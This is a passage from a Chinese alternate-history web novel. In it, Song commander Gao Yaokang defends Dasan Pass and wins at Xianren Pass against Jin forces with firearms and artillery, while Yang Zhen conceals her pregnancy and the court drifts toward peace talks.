杨蓁等着。
高尧康说:“这次不一样。”
杨蓁说:“怎么不一样?”
高尧康说:“这次是五万人。完颜娄室。金国最能打的元帅之一。不是我怕他,是我……”
他顿了顿。手抬起来,又放下。
“是你不能再出事了。”
杨蓁愣住了。
高尧康说:“上次汴京巷战,你差点死了。血从伤口里往外冒,怎么也止不住。我抱着你跑了三条街,以为你要没了。”
他的声音很低。低得像怕被人听见。
“我每天晚上做梦,都能梦见你倒在血泊里。叫你不答应,推你不醒。”
他看着杨蓁。
“我怕了。”
杨蓁站在那儿。看着他。嘴唇抿着,抿得发白。
过了很久,她忽然笑了。笑得眼眶红了。
“行。这次听你的。”
她伸手,在他脸上摸了摸。手有点凉。
“但你得活着回来。你要是死了,我带着兵打过去,把你挖出来。”
高尧康说:“嗯。”
十月初十。重庆府。校场。
五万人。
站在那儿,黑压压一片。从校场这头,看不到那头。跟一片黑色的海似的。
高尧康站在点将台上。看着那些人。
前头是步兵。两万人。穿着新式的轻便扎甲,铁片编的,比以前的甲轻一半,穿在身上不压人。手里拿着神臂弩,或者长枪。站得整整齐齐,跟刀切过似的。
步兵后头,是火铳营。三千人。每人一把神机铳。燧发的。不用点火绳。枪管锃亮,在太阳底下晃眼,能照见人影。
火铳营后头,是炮队。一千人。二十门霹雳炮。小型的。前装。能打三百步。炮管乌黑发亮,泛着冷光。旁边堆着炮弹,一堆一堆的,码得整整齐齐。
炮队旁边,是三十辆武刚车。车上架着猛火油柜。铁管子伸出来,跟怪兽的舌头似的。一按机关,火油喷出去,烧得人哭爹喊娘。
最后头,是辎重营。一万多人。赶着车,牵着马,挑着担。粮草。火药。箭矢。药材。够五万人打三个月。
王彦站在步兵前头。穿着一身新甲,亮得晃眼。腰挺得笔直,跟杆枪似的。
呼延通站在火铳营前头。手里拿着把神机铳,翻来覆去地看,跟看自己儿子似的,稀罕得不行。
刘实站在炮队前头。腿还有点瘸,但腰挺得直。看着那些炮,眼睛放光,跟看金子似的。
吴玠站在王彦后头。穿着一身普通士兵的甲。但眼睛一直往台上看,一眨不眨。
高尧康往前走了一步。
底下五万人,静下来。静得能听见风刮旗子的声音。
他开口。
“金兵打过来了。”
声音不大。但每个人都听得见。
“完颜娄室。五万人。伪齐的三万。加起来八万。已经进了利州路。”
他看着那些人。一个一个看过去。
“八万人。比咱们多。多三万人。”
底下没人动。
“但咱们有神机铳。他们没有。咱们有霹雳炮。他们没有。咱们有神臂弩,比他们的弓远一半。他们有吗?”
底下有人喊:“没有!”
高尧康说:“咱们打不打?”
底下齐声喊:“打!打!打!”
声音震天响,把树上的鸟都惊飞了。
高尧康说:“好。”
他从怀里掏出一张纸。展开。纸挺长,垂下来。
念:
“金虏犯境,残我同胞,占我土地。伪齐助纣为虐,甘为鹰犬。凡我汉人,见此檄文,当知今日之战,是为祖宗,为子孙,为华夏衣冠。”
“我高尧康,率五万将士,北上迎敌。胜,则收复失地。败,则马革裹尸。绝不后退一步。”
念完了。底下静了一瞬。
然后有人喊:“誓死追随高宣抚!”
第二个。第三个。一片。跟打雷似的。
他把檄文折起来。收进怀里。贴着心口。
看着那些人。
“出发。”
鼓声响起来。咚。咚。咚。一下一下,敲在人心上。
五万人,开始动。
前头步兵先走。然后是火铳营。然后是炮队。然后是武刚车。然后是辎重营。
浩浩荡荡,往北走。烟尘扬起来,遮住了半边天。
高尧康从台上下来。
杨蓁站在台下。穿着文官的衣裳,青色的。腰里没别刀。头发梳得整整齐齐。
她看着他。
“活着回来。”
高尧康说:“嗯。”
他翻身上马。马打了个响鼻,原地踏了两步。
走了几步,忽然回头。
杨蓁还站在那儿。看着他。风吹着她的衣裳,飘起来。
他挥了挥手。
转回去,走了。
没再回头。
重庆府。城门口。
苏檀儿站在那儿,看着队伍走远。风挺大,吹得她头发有点乱,她也不管。
沈万金站在她旁边。缩着脖子,搓着手。
“苏娘子,回去吧。风大。别冻着。”
苏檀儿没动。
她看着那个方向。看着那些越走越远的背影。越走越小,最后变成一条线,消失在天边上。
“沈掌柜。”
沈万金说:“在。”
苏檀儿说:“粮草准备好了吗?”
沈万金说:“准备好了。够三个月。”
苏檀儿说:“不够。再准备三个月。”
沈万金愣了一下。
“苏娘子,三个月还不够?五万人吃三个月,那得多少?”
苏檀儿说:“不够。”
她转过身。看着他。眼睛很亮。
“万一打久了呢?万一他们回不来呢?”
她往回走。走得很快。
“再收粮。再备药。再招人。能备多少备多少。备到不能再备为止。”
沈万金跟在后面。小跑着。
“是。我这就去办。”
苏檀儿走了几步,忽然停下来。回头看了一眼。
城门外面,空荡荡的。只有风卷着土,打着旋。
她站了一会儿。
转身,走了。
第一百一十三章 必须打出去
十月十四。利州路。兴元府城外。
高尧康站在一处山坡上,看着前头的地形。风挺大,吹得他衣裳猎猎作响,但他跟钉在那儿似的,一动不动。
王彦在旁边。也看着。
“金兵在洋州。离这儿一百五十里。伪齐的兵在绕风岭一带。两路。想夹击咱们。八万人分两路,一路正面顶,一路抄后路。打得挺精。”
高尧康没说话。看着地图,手指头在地图上划来划去。
呼延通过来。跑得气喘吁吁,脸上全是汗。
“高宣抚,火铳营到了。三千人,一个不少。炮队还在后头。山路不好走,马都累趴了两匹。”
高尧康点点头。
他指着地图上的一个地方。手指头点在上头,咚咚响。
“咱们在这儿等他们。”
王彦低头看。眼睛眯起来。
“大散关?”
高尧康说:“对。大散关。金兵从洋州来,必经这儿。没别的路。咱们先占住。等他们来。”
王彦说:“那伪齐那边呢?三万人也不是小数目。”
高尧康说:“伪齐那帮人,打不了硬仗。刘豫手底下那些人,欺负老百姓行,碰上硬茬子就跑。他们绕过来,得七八天。山路难走,还得翻两座山。等他们到了,咱们已经打完金兵了。”
他抬起头。眼睛很亮。
“传令。全军加速。三天内,必须到大散关。谁掉队,自己想办法跟上。”
十月十七。大散关。
关不大。石头垒的,看着挺结实。走近了一看,年久失修,塌了好几处。墙头上长着草,风一吹,晃晃悠悠的。
五万人,两天就到了。走得腿都软了,但没人掉队。
高尧康站在关墙上,看着那些塌了的地方。眉头皱着。
“修。”
三万人放下兵器,拿起工具。挖土的挖土,搬石的搬石。号子声喊得震天响,跟盖房子似的。
火铳营和炮队没动。在旁边待命。枪戳在地上,排得整整齐齐。炮口对着北边,黑洞洞的。
林素娥带着军医队,在关后头扎帐篷。一顶一顶,扎得整整齐齐,跟种蘑菇似的。药材、布条、热水,摆得井井有条。
赵福金也在。穿着粗布衣裳,袖口挽到胳膊肘,跟那些女护士一起干活。搬药材,铺草席,烧开水。手上沾了灰,脸上也蹭了泥,但一声不吭。
高尧康从关墙上往下看。看了一会儿。
赵福金正在给一个伤兵换药。那伤兵是前几天路上摔的,腿破了皮,走路一瘸一拐的。她蹲在那儿,一点点擦,擦得很轻。一边擦一边问:“疼不疼?”
那伤兵说:“不疼。”
赵福金说:“骗人。都烂成这样了,能不疼?”
那伤兵笑了。笑得挺不好意思的。
高尧康看着。没说话。
十月二十。大散关。关墙上。
探马跑回来。马都跑喘了,嘴里冒着白沫。
“高宣抚!金兵来了!离这儿不到五十里!黑压压一片,全是人!”
高尧康站在关墙上,看着北边。
北边的地平线上,有一条黑线。很粗。很长。像一条蛇,在地上慢慢爬。
王彦站在他旁边。手按在刀上。
“五万人。真来了。完颜娄室这回是动真格的了。”
高尧康说:“传令。准备。”
鼓声响起。咚。咚。咚。一下一下,敲在人心上。
步兵上墙。火铳营上墙。炮队推上来,炮口对着北边。武刚车推到关门口,猛火油柜架好了,油管子伸出来。
林素娥带着军医队,在后头等着。一盆盆热水,一卷卷布条,一包包草药,摆得整整齐齐。她站在最前头,脸上没什么表情。
赵福金站在她旁边。脸有点白。嘴唇抿着,抿得发白。但没抖。
林素娥看了她一眼。
“怕不怕?”
赵福金说:“怕。”
林素娥笑了。笑得挺淡的。
“怕就对了。不怕的人,死得快。”
赵福金愣了一下。
林素娥说:“怕,才会小心。小心,才能活。胆子太大的人,第一个死。”
她拍拍赵福金的肩膀。手挺重。
“待会儿跟着我。我让你干嘛就干嘛。别乱跑,别添乱。”
赵福金点点头。咽了口唾沫。
十月二十一。辰时。金兵到了。
关前头,黑压压一片。骑兵。步兵。攻城车。云梯。一眼望不到头。旗子密密麻麻的,风一吹,哗啦啦响。
完颜娄室骑着马,站在阵前。
六十来岁。瘦,黑,眼睛很亮。跟两只狼眼似的。脸上横着几道疤,从左脸拉到右脸,看着就疼。穿着铁甲,甲上全是划痕,刀痕箭痕都有,跟地图似的。
他看着那座关。看着关墙上的旗。看着那些兵。看了很久,一动不动。
旁边一个副将说:“元帅,打不打?”
完颜娄室没说话。
他看了很久。
然后他忽然笑了。笑得脸上的疤都挤在一起。
“有意思。”
副将说:“什么?”
完颜娄室说:“这个高尧康。真定府那个。汴京那个。刘家寺那个。”
他勒了勒马。马打了个响鼻。
“传令。先攻一波。试试。看看他是不是跟传说的一样能打。”
鼓声响起来。金兵的鼓,又沉又闷,跟打雷似的。
第一批金兵冲出去。三千人。扛着云梯,推着攻城车。喊着号子,哇哇叫。
高尧康站在关墙上。看着那些人越来越近。越来越近。
三百步。二百步。一百步。
他抬起手。
“炮队。放。”
二十门霹雳炮,响了。
轰轰轰轰轰——
炮弹飞出去。带着风声,砸在金兵阵里。人飞起来,胳膊腿乱飞。马倒下去,嘶叫着。攻城车散了架,木头碴子乱飞。
金兵乱了。前头的倒了,后头的停住了。有人在喊,有人在跑。
但后头的还在冲。督战队在后面压着,不退就砍。
“火铳营。放。”
砰砰砰砰砰——
神机铳响了。白烟腾起来,遮住了半边天。烟散了,前头的金兵倒了一片。跟割麦子似的,一排一排往下倒。
后头的停住了。
停了一会儿。然后往回跑。跑得比来的时候还快。
完颜娄室在阵前看着。脸上没表情。
“鸣金。收兵。”
铜锣响了。当当当。
第一次进攻,半个时辰。死了三百多人。伤的不算。
十月二十二。第二次进攻。
五千人。从三个方向同时冲。左边,右边,正面。跟三把叉子似的,叉过来。
炮队放了三轮。火铳营放了五轮。步兵用神臂弩,放了十几轮。弩箭跟下雨似的,嗖嗖的。
金兵退了。死了八百多人。关墙下头,尸体堆了一层。
十月二十三。第三次进攻。
一万人。带着更多的攻城车,更多的云梯。后头还跟着弓箭手,压阵。
打到下午。关墙塌了一处。石头哗啦啦往下掉,烟尘扬起来,什么都看不见。金兵冲进去,跟潮水似的。
王彦带着人堵上去。杀了一个时辰。刀都砍卷了。堵住了。
死了两千多金兵。这边也死了八百多。关墙下头,血淌成了河。
林素娥带着军医队,忙了一天一夜。手没停过。赵福金跟着她,递布条,端热水,抬担架。手在抖,抖得厉害,但没停。脸上溅了血,她也没擦。
那天晚上。关墙上。
高尧康站着。看着北边金兵的营寨。营寨里点着火把,密密麻麻的,跟星星似的。
赵福金走过来。递给他一块饼。饼还热着,冒着气。
“吃点东西。一天没吃了。”
高尧康接过来。咬了一口。嚼着。嚼得很慢。
赵福金说:“今天差点破了。”
高尧康说:“嗯。”
赵福金说:“能守住吗?”
高尧康说:“能。”
赵福金看着他。月光底下,他的脸上有道疤,是新添的。
两个人站着。月亮照着。
十月二十五。夜里。高尧康在帐中看地图。灯芯噼啪响着。
陈东进来。跑得急,喘着气。
“高宣抚,临安来信了。”
高尧康抬起头。
陈东递过来一封信。张叔夜的笔迹,力透纸背。
高尧康拆开。看。
看着看着,脸色变了。眉头拧在一起。
陈东问。
“怎么了?”
高尧康把信递给他。
陈东看。
信里写着:
“黄潜善、汪伯彦日益得势,主和气氛渐浓。韩世忠、岳飞等主战派,被排挤。官家心意不定,昨日听主和的说了一通,今日又听主战的说了一通,摇摆不定。另闻,秦桧似有南归之意。此人当年在金营待过,若归,必主和议。此人能说会道,恐成大患。切切。”
陈东看完。抬起头。
“秦桧?谁?没听说过。”
高尧康说:“一个能坏事的人。天大的坏事。”
他站起来。走到帐门口。掀开帘子。
外头,月亮很亮。照在那些帐篷上,照在那些伤兵的呻吟声上。远处有人在低声说话,有人在哭。
他忽然说:“临安那边,想着和。咱们这边,打着仗。”
陈东走过来。站在他旁边。
“那怎么办?”
高尧康说:“打。”
他看着北边。眼睛眯着。
“打完这一仗再说。打完了,才有说话的份。打不赢,说什么都没人听。”
十月二十六。金兵退了。
完颜娄室撤了三十里。重新扎营。营寨扎得挺结实,壕沟挖了一圈。
高尧康站在关墙上,看着那个方向。眼睛眯着。
王彦跑过来。靴子踩在石头上,咔咔响。
“他们撤了?”
高尧康说:“没撤。在等。”
王彦说:“等什么?”
高尧康说:“等伪齐的人。等他们到了,合兵一处,再打。”
他转过身。
“传令。全军休整。三天后,咱们打出去。”
王彦愣了一下。
“打出去?”
高尧康说:“嗯。不能让他们合兵。合兵就是八万人,咱们扛不住。分开打,一个一个收拾。”
十月二十七。关后头。军医营地。
赵福金蹲在地上,给一个伤兵换药。
那伤兵是昨天抬下来的。腿被砍了一刀,肉翻着,看着吓人。但林素娥说,能活。没伤到骨头。
她一点点擦。擦得很轻。怕弄疼他。手还是有点抖,但比前几天稳多了。
那伤兵看着她。看了一会儿。
“你……你是公主吧?”
赵福金愣了一下。
“你认识我?”
那伤兵笑了。笑得挺憨的。
“汴京人。以前见过。你从宫里出来,坐轿子,帘子掀开一条缝,我看见了。宫里出来的,走路跟别人不一样。”
赵福金没说话。
那伤兵说:“公主,你怎么干这个?”
赵福金说:“这个怎么了?”
那伤兵说:“你是公主啊。金枝玉叶。怎么能干这种粗活?”
赵福金笑了一下。笑得很淡。
“金枝玉叶?汴京破那天,就没有金枝玉叶了。”
她继续换药。手稳稳的。
那伤兵看着她。看了一会儿。
忽然说:“公主,你是个好人。”
赵福金愣了一下。
然后她笑了。笑得眼睛弯弯的。
“谢谢。”
十月二十九。夜。高尧康帐中。
张浚来了。一个人来的,没带人,没带刀。
他站在高尧康面前。
“高宣抚,有件事得跟你说。”
高尧康看着他。
张浚说:“临安那边,有人让我回去。”
高尧康说:“谁?”
张浚说:“黄潜善。”
高尧康没说话。
张浚说:“他说,我在蜀地待太久了。该回去了。朝廷需要我,有事要议。”
他看着高尧康。
“但我没打算回。”
高尧康说:“为什么?”
张浚说:“因为这边在打仗。临安那边,在想着和。一群人在那儿争论怎么跟金人谈条件,怎么割地,怎么赔款。”
他顿了顿。
“我知道哪个重要。打仗比开会重要。打赢了,才有资格谈。”
高尧康看着他。
看了很久。
然后他说:“张浚。”
张浚说:“嗯。”
高尧康说:“你是个明白人。”
张浚笑了。笑得挺轻松的。
“你也是。”
十一月初一。大散关。关墙上。
高尧康站在那儿。看着北边。风很大,吹得旗子哗啦啦响。
探马回来了。马跑得直喘。
“高宣抚!伪齐的兵到了!离这儿一百里!三万人,打着旗,赶着车,跟赶集似的。”
高尧康没动。
他看着那个方向。
然后他转过身。
“王彦。”
“在。”
“明天天亮,打出去。先打金兵。打完金兵,回头收拾伪齐。”
王彦抱拳。
“是。”
高尧康走下关墙。
呼延通迎上来。手里拿着神机铳,擦得锃亮。
“真要打?”
高尧康说:“嗯。”
呼延通咧嘴笑了。
“好。等这一天等了很久了。”
第一百一十四章 分兵击破
利州。中军大营
杨蓁坐在帐中,看着桌上的地图。看了半个时辰,一动不动,跟石化了一样。手指头按在图上大散关的位置,按得纸都皱了。
外头有人进来。是张浚。带着一身寒气,脸冻得有点红。
“杨娘子,粮草清点完了。”
杨蓁抬起头。眼睛里全是血丝。
“多少?”
张浚说:“够三个月。路上损耗算进去,也够两个月。紧着点吃,还能多撑半个月。”
杨蓁点点头。又低头看地图。
张浚看着她。没走。
“杨娘子,你脸色不太好。几天没睡了?”
杨蓁说:“没事。累的。”
张浚没说话。站了一会儿。转身要走。
杨蓁忽然说:“张副使。”
张浚回头。
杨蓁张了张嘴。又闭上了。手指头在桌上敲了敲。
张浚走回来。
“杨娘子,有什么事,你说。别憋着。”
杨蓁沉默了很久。帐外有人在喊号子,远处有人在搬东西。
然后她说:“你能不能……帮我找个大夫?”
张浚愣了一下。
“你病了?”
杨蓁摇摇头。嘴唇抿着。
她的手,放在肚子上。动作很轻,跟怕碰碎了什么东西似的。
张浚看着那个动作。看了两秒。
愣了一下。然后眼睛瞪大了。
“你……”
杨蓁说:“别告诉高尧康。”
张浚说:“他要知道的。这是大事。”
杨蓁说:“他现在在打仗。不能分心。他知道了,打仗的时候脑子里想的就不是打仗了。”
张浚看着她。看了很久。脸上表情变了几变。
“杨娘子,你打算怎么办?”
杨蓁说:“我留在后头。督粮草。传命令。不做危险的事。不骑马,不上阵,就在帐里待着。”
张浚说:“那你告诉我干什么?你自己藏着就行了。”
杨蓁说:“你是副使。你得知道。万一我出了事……”
她没说完。手放在肚子上,没拿开。
张浚懂了。脸上的表情软下来。
他沉默了一会儿。帐外风刮得呼呼响。
然后他说:“我答应你。瞒着他。但你得答应我一件事。”
杨蓁看着他。
张浚说:“从现在起,你不能离开大营一步。粮草的事,我帮你跑。命令的事,我帮你传。你就在这儿坐着。哪儿也别去。”
杨蓁说:“行。”
张浚转身往外走。走了两步,又回来。
“大夫我一会儿就找来。你先躺着。”
十一月初六。大散关。高尧康帐中。
探马跑进来。跑得急,差点在帐门口绊一跤。
“高宣抚,金兵动了!”
高尧康站起来。走到地图前。动作很快,椅子都差点翻了。
探马指着图上。手指头点在上头。
“完颜娄室分兵了。一万人往东。一万人往西。剩下的还在大营。三万人没动。”
呼延通在旁边。手里拿着神机铳,擦了一半。
“分兵?他想干嘛?嫌人太多?”
高尧康盯着地图。眼睛眯着,眉头皱着。
“他想把周围的据点先拔了。围死咱们。金牛镇、仙人关,这两个地方一丢,大散关就成了孤城。前后左右都是他的人。”
他指着图上两个地方。手指头敲得咚咚响。
“东边是金牛镇。西边是仙人关。这两个地方丢了,咱们就断了翅膀的鸟,飞不出去,也飞不进来。”
呼延通说:“我去守。我带五千人去仙人关,保准给他守住了。”
高尧康摇摇头。
“来不及。他们分兵,就是想让咱们也分兵。一分开,正面对峙的人就少了。他要的就是这个。”
他看着地图。看了很久。帐子里很静,只听见外头的风。
然后他说:“我带人去仙人关。”
呼延通愣了一下。
“你带多少人?”
高尧康说:“五千。”
呼延通说:“五千?完颜娄室那边还有三万。你走了,这边就剩四万二,跟他三万人对耗,耗得起。但你那边五千对一万,你扛得住?”
高尧康说:“你留着。带着主力,继续跟他耗。别打,就耗。耗到他心烦,耗到他犯错。”
他看着呼延通。眼睛很亮。
“等我回来。别死。”
呼延通点点头。没笑。
“行。我等你。”
高尧康转身往外走。
走到门口,忽然停住。
“王彦。”
王彦从外头进来。靴子上全是泥。
“在。”
高尧康说:“你跟我走。带上你的猎兵,带上火铳。”
王彦抱拳。
“是。”
十一月初七。仙人关。
高尧康带着五千人,走了一天一夜。山路难走,马都累趴了三匹。赶到的时候,天刚亮,关上的守军快撑不住了。
关墙塌了一半。石头滚得到处都是。金兵正在往上冲,跟蚂蚁似的,密密麻麻。喊杀声震天。
守将姓曹。浑身是血,甲上全是刀痕,脸上也糊着血,分不清是自己的还是别人的。看见高尧康,腿一软,差点跪下。
“高宣抚……你来了……你再不来,我就……我就撑不住了……”
高尧康扶住他。手抓着他胳膊,把他拎住了。
“还能打吗?”
曹将军说:“能。死不了就能。”
高尧康说:“那就接着打。我带人从侧翼出去。”
他转过身。
“王彦。”
王彦过来。靴子踩在碎石上,咔咔响。
高尧康说:“你带着猎兵,进山。找他们的粮道。烧。别跟他们打,就烧。烧完就跑。”
王彦笑了。笑得跟狼似的。
“等很久了。”
他带着人,消失在林子里。跟鬼似的,一转眼就没影了。
十一月初八。利州。中军大营。
杨蓁坐在帐中。面前堆着一摞文书,跟小山似的。
张浚进来。手里拿着几封信。
“杨娘子,前线战报。”
杨蓁接过来。看。看得很快。
“大散关,金兵没动。还在对峙。两边的营寨隔着十几里,谁也没动。”
张浚说:“高宣抚到仙人关了吗?”
杨蓁说:“昨天到的。信里没说战况。就写了四个字——‘已到,勿念’。”
她把信放下。手放在肚子上。轻轻地,跟怕压着似的。
张浚看见了。没说话。
杨蓁抬起头。
“张副使,你说他能赢吗?”
张浚说:“能。”
杨蓁说:“你这么肯定?”
张浚说:“我跟他不算久。但看人还算准。他这个人,不打没把握的仗。打之前可能看着悬,打起来就稳了。”
他顿了顿。
“再说了,他答应过你活着回来。答应的事,他会做到。”
杨蓁没说话。
她看着帐外的天。
天灰蒙蒙的。要下雪了。风刮得呼呼响。
十一月初九。仙人关外。金兵大营。
金军主将叫完颜斜也。完颜娄室的侄子。三十出头,骄横得很。打了三天,关还没拿下,他正对着地图骂娘。
帐外忽然有人跑进来。跑得太急,差点撞在门框上。
“将军!后头……后头起火了!”
完颜斜也冲出去。
西边,粮草堆的方向,火光冲天。浓烟滚滚的,半边天都红了。
“怎么回事?!”
没人知道。兵们跑来跑去,有的拎着桶,有的拿着锹,乱成一团。
他骑上马。带人往后头冲。
冲到一半,又有人跑过来。
“将军!东边!东边的营寨也起火了!烧了好几顶帐篷!”
完颜斜也勒住马。马嘶了一声,原地打转。
他看看西边的火。看看东边的火。
忽然明白了。脸黑了。
“有人袭扰。别管他。继续攻城。烧点粮草算什么,关打下来就行了。”
但已经乱了。
兵们跑来跑去。有的去救火,有的去追人,有的不知道干嘛,站在原地发呆。攻城的队伍,少了三分之一。云梯没人扛了,攻城车没人推了。
十一月初十。仙人关。高尧康帐中。
王彦回来了。浑身是黑,脸上全是灰,跟煤窑里爬出来似的。但眼睛亮得跟灯似的。
“烧了。粮草烧了三堆。杀了二十几个守粮的。他们现在满山追我,追不上。”
高尧康点点头。
“再烧。”
王彦愣了一下。
“还烧?”
高尧康说:“烧到他分兵。烧到他累。烧到他忍不住。烧到他不知道该打关还是该追你。”
他看着外头的天色。天快黑了。
“等他们分兵去追你,我就从侧翼打出去。正面扛着,侧面捅刀子。”
十一月十一。金兵分兵了。
完颜斜也受不了了。粮草被烧了两天,再烧下去,兵就得饿肚子。他派了三千人,进山搜剿。
高尧康站在山崖上,看着那些人进了林子。像一群蚂蚁钻进了洞。
他转过身。
“传令。火铳营。炮队。重甲步兵。准备。”
十一月十二。利州。中军大营。
杨蓁一夜没睡。
桌上摊着十几封信。有前线的,有后方的,有各地州府的。有的写着战况,有的写着粮草,有的写着兵员。
她一封一封看。一封一封回。毛笔蘸了墨,写了又蘸,蘸了又写。
张浚进来。端着碗粥。粥还冒着热气。
“吃点东西。一晚上没吃。”
杨蓁接过来。喝了一口。放下。又拿起信。
张浚看着她。没走。
“仙人关那边,有消息吗?”
杨蓁说:“有。昨天夜里到的。快马送来的。”
她把那封信递给张浚。
张浚看。
“金兵分兵了。三千人进山追王彦。王彦还在袭扰。高宣抚说,准备打出去。就这两天。”
他抬起头。
“快了。”
杨蓁点点头。
她的手,又放在肚子上。这个动作她做了很多次了,自己都没意识到。
张浚看见了。
“杨娘子,你得歇歇。你一夜没睡,铁打的人也扛不住。”
杨蓁说:“睡不着。闭上眼睛就想事。”
张浚说:“睡不着也得躺躺。你现在不是一个人。你不睡,他也不睡。”
杨蓁愣了一下。低头看了看自己的肚子。
然后她忽然笑了。笑得挺轻的。
“张副使,你倒像个老妈子。什么都管。”
张浚也笑了。
“我是副使。管粮草,管补给,也管劝人睡觉。这是我的职责。”
杨蓁站起来。动作很慢。走到铺边。躺下。把被子拉过来盖上。
张浚说:“睡一个时辰。有消息我叫你。天塌不下来。”
杨蓁闭上眼睛。手放在肚子上。没拿开。
帐外,风停了。要下雪了。
她忽然说:“张副使。”
“嗯。”
“你说,他回来的时候,会高兴吗?”
张浚想了想。
“会。高兴得找不着北。”
杨蓁笑了。
闭上眼睛,睡着了。
梦里,她看见高尧康站在城墙上,浑身是血,但笑着。怀里抱着个孩子。
第一百一十五章 仙人关阻击战
十一月十二。午时。仙人关。
完颜斜也正在帐中骂人。骂得正欢,唾沫星子乱飞。忽然听见外头喊声——不是普通的喊,是那种见了鬼的喊。
他冲出去。
西边山谷里,冲出来一支队伍。整整齐齐,跟刀切过似的。没人喊,没人叫,就闷着头走。靴子踩在地上,咔咔咔咔,一个声音。
前头是火铳营。三百人。排成三排。枪管子对着前头,黑洞洞的。
后头是炮队。十门霹雳炮。正在架。炮手们动作麻利,跟练了一万遍似的。炮架好,炮口调好,炮弹塞进去。
再后头是重甲步兵。一千人。穿着新式的板甲,铁片子一块压一块,在太阳底下晃眼。从头护到脚,跟铁人似的。
完颜斜也的脸白了。白得跟纸似的。
“迎敌!迎敌!都给我上!”
金兵乱成一团。有的去拿兵器,有的去牵马,有的往反方向跑。还没准备好,炮就响了。
轰轰轰轰轰——
炮弹落在人群里。人飞起来,胳膊腿乱飞。马倒下去,嘶叫。帐篷塌了,砸在底下的人身上。
金兵往外冲。有人骑马,有人跑步。
火铳营站好了。
第一排。放。
砰砰砰砰砰——
冲在最前头的金兵倒了。跟撞了墙似的。
第二排。放。
砰砰砰砰砰——
又倒一片。
第三排。放。
砰砰砰砰砰——
再倒一片。
第一排装好了。第二排装好了。第三排装好了。
砰砰砰砰砰。砰砰砰砰砰。砰砰砰砰砰。
金兵冲不出去。冲一步倒一片,冲一步倒一片。地上躺满了人,有的在叫,有的不叫了。
完颜斜也骑着马,在后头喊。喊什么听不见。炮声太大了,枪声太大了。
重甲步兵上来了。
一千人。排成五排。一步一步往前走。跟一堵铁墙似的。
刀砍在他们身上,弹回来。箭射在他们身上,弹回来。金兵没见过这种打法,愣在那儿,刀举着不知道往哪儿砍。
他们走到金兵面前。举起刀。砍。
一刀一个。一刀一个。一刀一个。跟砍瓜切菜似的。
金兵往后退。退到帐篷边上。退到大营后头。腿都软了。
有人跪下。有人扔掉刀。有人趴在地上,不敢动。有人尿了裤子。
完颜斜也跑了。
带着几百个亲兵,从后山跑了。跑得比兔子还快。
高尧康站在山崖上,看着那些逃跑的背影。越来越小,最后变成几个黑点,消失在山上。
王彦过来。身上还带着烟火味。
“追不追?追上去,把他脑袋拎回来。”
高尧康说:“不追。”
他看着那些俘虏。那些尸体。那些扔了一地的兵器。刀、枪、弓、箭,扔得到处都是。
“让他回去。回去告诉完颜娄室,仙人关,他打不下来。告诉他侄子是怎么跑的。”
十一月十三。利州。中军大营。
杨蓁醒了。是被外头的喊声吵醒的。有人在跑,有人在笑。
张浚站在她面前。手里拿着一封信。脸上带着笑,笑得跟捡着钱似的。
“仙人关大捷。”
杨蓁坐起来。动作太快,头有点晕。接过信。看。
看着看着,眼泪下来了。顺着脸往下淌。
张浚说:“赢了。高宣抚赢了。完颜斜也跑了,金兵死伤两千多。”
杨蓁点头。说不出话。嗓子眼堵着东西。
张浚说:“金兵死了两千多。主将跑了。关守住了。咱们的人伤了一千多,死了三百多。已经送到军医那边了。”
杨蓁擦眼泪。擦不完。越擦越多。
张浚看着她。
“杨娘子,你该高兴。”
杨蓁说:“我高兴。”
她站起来。动作很慢。走到帐门口。掀开帘子。
外头,天晴了。太阳照在雪地上,亮得晃眼。远处有人在搬东西,有人在说话,有人在笑。
她看着北边的方向。看了很久。风吹着她的头发,飘起来。
十一月十四。仙人关。高尧康帐中。
俘虏招了。
一个金兵百夫长。会说几句汉话,说得磕磕巴巴的。跪在地上,浑身发抖,抖得跟筛糠似的。
“我说……我都说……别杀我……”
高尧康坐在案前。看着他。脸上没什么表情。
“完颜宗翰的兵,到哪儿了?”
那百夫长说:“中路……中路大军……已经打到京西南路了……襄阳……襄阳快守不住了……宋军跑了很多……”
高尧康的脸变了。眉头拧在一起。
“襄阳?”
那百夫长说:“是……完颜宗翰亲率……八万人……宋军……一碰就溃……有的还没碰就跑了……”
高尧康站起来。椅子往后挪了一下。
走到他面前。
“临安那边呢?”
那百夫长说:“听说……听说宋国皇帝……派人议和了……派了个大官……姓什么来着……”
屋里静了。静得能听见外头的风声。
王彦在旁边。手按在刀柄上。指节发白。
高尧康站了很久。一动不动。脸上什么表情都没有。
然后他挥挥手。
“带下去。别伤他。”
那百夫长被拖出去。腿软得站不起来,被两个人架着。
高尧康转过身。看着王彦。
“襄阳那边,王善在那儿。”
王彦说:“我知道。”
高尧康说:“他守不住。八万人,他手里才多少?扛不住。”
王彦没说话。嘴抿着。
高尧康走到帐门口。掀开帘子。
外头,太阳很好。照在那些俘虏身上。照在那些伤兵身上。有人在生火做饭,烟升起来。
他忽然说:“咱们在这边打胜仗。他们在那边议和。咱们拼命流血,他们在临安跟金人喝茶。”
王彦走过来。站在他旁边。
“高宣抚,那咱们怎么办?”
高尧康说:“继续打。”
他看着北边。
“打完这一仗再说。打完才有说话的份。”
十一月十五。利州。中军大营。
杨蓁坐在帐中。面前摊着两封信。
一封是仙人关来的。高尧康写的。字写得很急,但能看清。说打赢了,过几天就回来。让她别担心,好好吃饭。
一封是临安来的。张叔夜写的。字写得很重,纸都压出印了。说朝廷议和的事,是真的。黄潜善、汪伯彦已经在跟金人谈了。秦桧也快回来了,船已经在路上了。
她把两封信并排放在桌上。
看着它们。看了很久。
张浚走进来。带着一身寒气。
“杨娘子,粮草准备好了。可以往前线送了。够他们吃一个月的。”
杨蓁点点头。
张浚看见桌上那两封信。
“这是……”
杨蓁说:“一封是胜仗。一封是议和。”
张浚拿起那封议和的信。看了一遍。看完,放下。手指头在桌上敲了敲。
沉默了很久。
然后他说:“杨娘子,你怎么想?”
杨蓁说:“我想不明白。”
她看着那两封信。
“咱们在这边拼命。他们在那边求和。那咱们拼的命,算什么?那些死了的人,算什么?”
张浚没说话。嘴动了动,没出声。
杨蓁说:“张副使,你说,高尧康知道这事,会怎么想?”
张浚说:“他早就知道了。”
杨蓁抬起头。
张浚说:“他走之前,我跟他说过。朝廷那边,早晚会求和。黄潜善那个人,膝盖软。金人一吓唬,他就想跪。”
他顿了顿。
“他说,拦不住就不拦。咱们打咱们的。只要把金兵打疼了,求和也没用。他们还得来。战场上拿不到的,谈判桌上也拿不到。”
杨蓁沉默着。手放在肚子上。
张浚说:“杨娘子,你现在最重要的事,是照顾好自己。”
他看着她的肚子。
